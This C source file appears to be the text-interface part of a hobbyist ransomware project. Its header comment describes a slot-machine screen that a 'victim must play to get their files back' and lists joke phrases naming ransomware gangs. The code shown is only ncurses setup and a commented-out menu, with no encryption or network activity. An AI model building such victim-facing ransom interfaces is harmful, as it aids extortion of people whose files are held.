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/***
 * Screen - The actual point of this godforsaken project
 * 
 * This file's goal is to "render" a slot machine that the soon-to-be unlucky victim must play to get their
 * files back. To do this, I am using curses and probably the menu library to create the TUI. Once I figure
 * out how to actually do this, everything should work hopefully maybe
 * 
Example window layout

Random Phrases list:
    > WE CLOWN IN THIS MF, TAKE YO SENSITIVE ASS BACK TO @GENTOOMEMES
    > R.I.P VxHeaven
    > tmp(2) nuked by Smelly
    > 99% of Randomware Operators quit before compromising a bank
    > Equation Group wuz here
    > Lazarus wuz here
    > LockBit wuz here
    > Sponsored by Equation Group
    > Sponsored by Lazarus
    > Sponsored by LockBit
    > Free my boy Ross Ulbricht he did nothing wrong
    > Stay off the dark web, kids
    > FREE BITCOIN JUST 3 SPINS AWAY
    > We all glow in the dark
    > Shoutouts to Simpleflips
    > Shoutouts to BugHunter
    > Shoutouts to EyeDeeKay
    > :beecat:
    > :3

======================================================== (Window 1)         (One line long, top of screen)
VX-GAMBLEGROUND: <Random phrase from list of phrases>
======================================================== (End Window 1)     (Takes up space between top & bottom windows)
======================================================== (Window 2)

SLOTS HERE

======================================================== (End Window 2)
======================================================== (Window 3)         (One line long, bottom of screen)
> Spin              > Buy Spins             > Quit
======================================================== (End Window 3)
 */

#define _GNU_SOURCE

#include "screen.h"
#include <curses.h>
#include <menu.h>
#include <locale.h>

#include <errno.h>
#include <error.h>

#include <stdio.h>
#include <stdlib.h>

#define STATIC_ARRSIZE(arr) (sizeof((arr)) / sizeof((arr)[0]))

static const char *menu_choices[] = {
    "Spin",
    "Buy spins",
    "Quit",
    NULL
};

int main() {
    if(setlocale(LC_ALL, "") == NULL)  // Clear out the locale so it doesn't default to ncurses' ISO-8859-1 setting
        error(1, errno, "Could not set proper locale");

    if(initscr() == NULL)   // Initialize curses
        error(1, errno, "Could not init standard screen");

    if(has_colors()) {      // Init colors if available & create color pairings
        start_color();

        // Init colors here
        
        //init_color();
    }

    cbreak();               // Disables character buffering
    noecho();               // Disable echoing characters
    keypad(stdscr, TRUE);   // Enable keypad on the standard screen

    int row = -1, col = -1;
    getmaxyx(stdscr, row, col);


    /* Ignore
    for(int c = getch();; c = getch())
        mvaddch(c % row, c % col, c | A_BOLD);
    //*/

    /* Menu example
    ITEM **items;
    MENU *menu;

    items = calloc(STATIC_ARRSIZE(menu_choices) + 1, sizeof(ITEM*));
    if(items == NULL)
        error(-1, errno, "Could not allocate space for menu items");

    for(long unsigned int i = 0; i < STATIC_ARRSIZE(menu_choices); i++)
        items[i] = new_item(menu_choices[i], menu_choices[i]);
    items[STATIC_ARRSIZE(menu_choices)] = NULL;

    menu = new_menu(items);
    mvprintw(LINES - 2, 0, "F1 to Exit");
    post_menu(menu);
    refresh();

    int c;
    while((c = getch()) != KEY_F(1)) {
        switch(c) {
            case KEY_DOWN:
                menu_driver(menu, REQ_DOWN_ITEM);
                break;

            case KEY_UP:
                menu_driver(menu, REQ_UP_ITEM);
                break;

            case KEY_ENTER:
                break;
        }
    }


    for(long unsigned int i = 0; i < STATIC_ARRSIZE(menu_choices); i++)
        free_item(items[i]);
    free_menu(menu);
    //*/



    endwin(); // Clean up curses
    return 0;
}